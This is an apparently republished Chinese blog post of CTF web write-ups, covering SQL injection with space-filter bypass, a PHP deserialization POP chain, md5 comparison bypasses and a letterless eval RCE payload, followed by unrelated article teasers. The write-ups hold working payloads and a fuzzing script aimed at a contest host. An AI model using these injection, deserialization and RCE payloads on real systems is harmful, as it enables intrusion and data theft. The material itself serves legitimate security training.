刷題學習記錄(含2023ISCTFweb題的部分知識點)

[SWPUCTF 2021 新生賽]sql

進入環境

?查看源碼,發現是get傳參且參數為wllm

?fuzz測試,發現空格,=,and被過濾了

同樣的也可以用python腳本進行fuzz測試

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:res = requests.get('http://node4.anna.nssctf.cn:28876/?wllm={}'.format(i))if '請勿非法操作'  in res.text:print(i)

?結果也是一樣的

既然空格被過濾那就用/**/代替空格,用聯合注入進行注入

爆字段

-1'/**/order/**/by/**/4%23(用%23代替#,因為在注入時發現#也沒法注入)

爆數據庫

-1'/**/union/**/select/**/1,database(),3%23

?爆表

-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa
tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

?查詢列

-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

查詢內容

-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23

?發現flag只有一段,沒有全部顯示出來,使用截斷函數進行繞過,substr,right,REVERSE 被過濾(測試出來的),只能用mid,mid截取,因為回顯只能有20個,所以20,一組一組截取

-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23

-1%27union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23

最后得到flag

NSSCTF{90c72eb0-e4977-4730-a192-42f3d662c85f}

?[SWPUCTF 2021 新生賽]pop

進入環境得到的是一大串php代碼,看到最后的函數發現是反序列化

<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}class w22m{public $w00m;public function __destruct(){echo $this->w00m;}
}class w33m{public $w00m;public $w22m;public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}$w00m = $_GET['w00m'];
unserialize($w00m);?>

查找入口

# 傳參$w00m,直接反序列化,入口就在__destruct,或者_wakeup,這里的w22m符合條件 class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }

?找鏈子

# echo一個對象,調用__toString方法,然后調用內部w00m的方法,由此可得鏈子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

?構造exp:

<?phpclass w44m{private $admin = 'w44m';protected $passwd = '08067';}class w22m{public $w00m;
}class w33m{public $w00m;public $w22m;}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 鏈子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

?找php在線運行工具

得到反序列化代碼,但是經過url編碼

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

?傳參得到flag

?[BJDCTF 2020]easy_md5

進入環境一開始以為是sql注入,不停在測試sql注入,但是頁面都沒有什么反應

?用bp抓包試一下

?不難發現在 Response 包中的 Header 中存在
Hint 為:hint: select * from 'admin' where password=md5($pass,true)
我們嘗試進行繞過,傳入 password=
ffifdyop;即可繞過!原理如下:

?跳轉到新頁面

?查看源碼發現題目代碼

<!--
$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){header('Location: levell14.php');
-->

?這里要使a,b的md5的值相等才會回顯,這里選擇用數組繞過md5

?出現新的頁面

 <?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
} 

這里依然選擇用數組繞過md5,這里的傳參方式為post,最后得到flag

?[SWPUCTF 2021 新生賽]hardrce(無字母數字繞過正則表達式總結(含上傳臨時文件、異或、或、取反、自增腳本)_$code=$_get['code']; eval($code);-CSDN博客)

題目提示直接就是無數字RCE和無字母RCE,上源碼

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT說不能用這些奇奇怪怪的符號哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul說不能用字母哦!");
}
echo "NoVic4說:不錯哦小伙子,可你能拿到flag嗎?";
eval($wllm);
}
else
{echo "蔡總說:注意審題!!!";
}
?> 

?分析源碼,可以知道所有字母字符和某些特殊字符被過濾;但源碼中可以使用GET方式以wllm為參傳值,且源碼里面含有eval函數可以執行命令;結合上面要求,可以使用url取反方式進行繞過,不用異或和或運算是因為^和`被過濾了。
使用腳本將system和ls /進行url編碼取反

ls=~%93%8C

system=~%8C%86%8C%8B%9A%92

cat /f*=~%9C%9E%8B%DF%D0%99%D5

?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

?不知道為什么system(ls)不能回顯,但是system(cat /f*)卻能回顯出flag

?[HUBUCTF 2022 新生賽]checkin

進入環境一看到后面的函數就知道是反序列化

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){echo $flag;
}else{echo "username or password error!";}?>

?構造exp:

<?php
$info = array('username'=>true,'password'=>true
);
$serialized_data = serialize($info);
echo  $serialized_data ;
?>

?

?

得到反序列化代碼

a:2:{s:8:"username";b:1;s:8:"password";b:1;}
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

?

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/165663.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/165663.shtml
英文地址,請注明出處:http://en.pswp.cn/news/165663.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

java學習part09類的構造器

1. 2.默認構造器 如果沒有顯式定義任何構造器&#xff0c;系統會默認加一個默認構造器。 如果定義了&#xff0c;則不會有默認構造器。 默認構造器的權限和類的權限一樣&#xff0c;類是public構造器就是public&#xff0c;類是缺省默認構造器就是缺省 反編譯之后添加的構造…

解決DaemonSet沒法調度到master節點的問題

最近在kubernetes部署一個springcloud微服務項目&#xff0c;到了最后一步部署邊緣路由&#xff1a;使用nginx-ingress和traefik都可以&#xff0c;必須使用DaemonSet部署&#xff0c;但是發現三個節點&#xff0c;卻總共只有兩個pod。 換句話說&#xff0c; DaemonSet沒法調度…

UML建模圖文詳解教程05——包圖

版權聲明 本文原創作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl本文參考資料&#xff1a;《UML面向對象分析、建模與設計&#xff08;第2版&#xff09;》呂云翔&#xff0c;趙天宇 著 包圖概述 包圖(package diagram)是用來描述模型中的…

一個最簡單的工業通訊數據分析例子

1.背景 對工業設備的通訊協議進行分析可以幫助我們更好地理解其工作原理和相關技術&#xff0c;并且有助于以下幾個方面&#xff1a; 1. 優化工業設備的通訊效率&#xff1a;了解通訊協議的細節可以幫助我們找到通訊效率低下的原因并進行優化&#xff0c;提高設備的通訊效率和…

Axioss筆記

一、Get請求 // 請求頭攜帶參數&#xff0c;案例&#xff1a;?uid1001 axios.get(http://localhost:8080/user/api/v1/user/query, {params: {uid: 1001}}).then(res > {console.log(res.data) }).catch(err > {console.log("請求錯誤" err) }).finally(() …

MySQL 8 配置文件詳解與最佳實踐

MySQL 8 是一款強大的關系型數據庫管理系統&#xff0c;通過適當的配置文件設置&#xff0c;可以充分發揮其性能潛力。在這篇博客中&#xff0c;我們將深入探究 MySQL 8 常用的配置文件&#xff0c;并提供一些建議&#xff0c;幫助您優化數據庫性能。 配置文件概覽 在 MySQL …

【華為OD題庫-030】阿里巴巴找黃金寶箱(V)-java

題目 一貧如洗的樵夫阿里巴巴在去砍柴的路上&#xff0c;無意中發現了強盜集團的藏寶地&#xff0c;藏寶地有編號從0-N的箱子&#xff0c;每個箱子上面貼有一個數字.阿里巴巴念出一個咒語數字k(k<N),找出連續k個寶箱數字和的最大值&#xff0c;并輸出該最大值。 輸入描述 第…

攔截器的使用

攔截器&#xff08;Interceptor&#xff09;是一種在應用程序中用于干預、修改或攔截請求和響應的組件&#xff0c;是AOP 編程的一種實踐&#xff0c;和過濾器一樣都是一種具體的AOP實現。它可以在請求被發送到目標處理程序之前或之后&#xff0c;對請求進行預處理或對響應進行…

【數據結構】二叉樹概念 | 滿二叉樹 | 完全二叉樹

二叉樹的概念 二叉樹在實踐中用的很多。 一棵二叉樹是結點的一個有限集合&#xff0c;該集合&#xff1a; 或者為空&#xff1b;由一個根結點加上兩棵別稱為左子樹和右子樹的二叉樹組成。二叉樹最多兩個孩子。 這里注意&#xff1a;二叉樹并不是度為2的樹。 二叉樹的度最大值是…

Go lumberjack 日志輪換和管理

在開發應用程序時&#xff0c;記錄日志是一項關鍵的任務&#xff0c;以便在應用程序運行時追蹤問題、監視性能和保留審計記錄。Go 語言提供了靈活且強大的日志記錄功能&#xff0c;可以通過多種方式配置和使用。其中一個常用的日志記錄庫是 github.com/natefinch/lumberjack&am…

python selenium 模擬瀏覽器自動操作搶購腳本

每逢秒殺&#xff0c;都在遺憾網速和手速慢沒能搶購到商品吧。 手寫一個腳本&#xff0c;讓程序幫你搶&#xff0c;搶到的概率會大大提升。 廢話不多說&#xff0c;直接上代碼。 本實例以華為官網搶購手機為例 """ 模擬瀏覽器操作華為官網(1) 【只需要安裝一…

【JAVA】我們該如何規避代碼中可能出現的錯誤?(二)

個人主頁&#xff1a;【&#x1f60a;個人主頁】 系列專欄&#xff1a;【??初識JAVA】 文章目錄 前言異常方法&#xff08;Throwable類&#xff09;Throwable類的方法 捕獲異常多重捕獲塊 前言 異常是程序中的一些錯誤&#xff0c;但并不是所有的錯誤都是異常&#xff0c;并…

git-3

1.如何讓工作區的文件恢復為和暫存區一樣&#xff1f; 工作區所作的變更還不及暫存區的變更好&#xff0c;想從暫存區拷貝到工作區&#xff0c;變更工作區(恢復成和暫存區一樣的狀態)&#xff0c;想到用git checkout -- 文件名 2.怎樣取消暫存區部分文件的更改&#xff1f; 如…

無損壓縮技巧:減小PDF文件尺寸的有效方法

我們在制作pdf文檔的時候&#xff0c;會加入許多內容&#xff0c;文字、圖片等等&#xff0c;素材添加的過多之后就會導致pdf文檔特別大&#xff0c;在上傳或者儲存時&#xff0c;就會特別不方便&#xff0c;所以今天就告訴大家一個pdf壓縮的方法&#xff0c;使用pdf在線壓縮工…

4-Docker命令之docker info

后續為大家逐個講解一下docker常用命令及其相關用法。docker常用命令查看如下: [root@centos79 ~]# docker --helpUsage: docker [OPTIONS] COMMANDA self-sufficient runtime for containersCommon Commands:run Create and run a new container from an imageexec…

洛谷 P1883 函數

P1883 函數 - 洛谷 | 計算機科學教育新生態 (luogu.com.cn) Error Curves - 洛谷 | 計算機科學教育新生態 (luogu.com.cn) 這兩題是一模一樣的&#xff0c;過一題水兩題。 分析 主要難點在于證明F(x)是一個單峰函數可以被三分&#xff0c;但是我隨便畫了幾個f(x)之后發現好像…

MySQL的Redo Log跟Binlog

文章目錄 概要Redo Log日志Redo Log的作用Redo Log的寫入機制 Binlog日志Binlog的作用Binlog寫入機制 兩段提交 概要 Redo Log和Binlog是MySQL日志系統中非常重要的兩種機制&#xff0c;也有很多相似之處&#xff0c;本文主要介紹兩者細節和區別。 Redo Log日志 Redo Log的作…

Docker+ Jenkins+Maven+git自動化部署

環境&#xff1a;Centos7 JDK1.8 Maven3.3.9 Git 2.40 Docker 20.10.17 準備工作&#xff1a; 安裝Docker Centos7默認的yum安裝的docker是1.13&#xff0c;版本太低&#xff0c;很多鏡像都要Docker版本要求&#xff0c;升級Docker版本。 卸載已安裝Docker: yum …

你知道如何實現游戲中的透視效果嗎?

引言 游戲中的透視效果可以合理運用CtrlCV實現。 不知道大家有沒有這樣一段經歷&#xff1a;在做Cocos項目時需要一些特定的Shader去做一些特定的效果&#xff0c;例如透視、高光、濾鏡等等&#xff0c;想自己寫吧&#xff0c;不怎么會啊&#xff0c;網上又找不到&#xff0c…

27 - 如何使用設計模式優化并發編程?

在我們使用多線程編程時&#xff0c;很多時候需要根據業務場景設計一套業務功能。其實&#xff0c;在多線程編程中&#xff0c;本身就存在很多成熟的功能設計模式&#xff0c;學好它們&#xff0c;用好它們&#xff0c;那就是如虎添翼了。今天我就帶你了解幾種并發編程中常用的…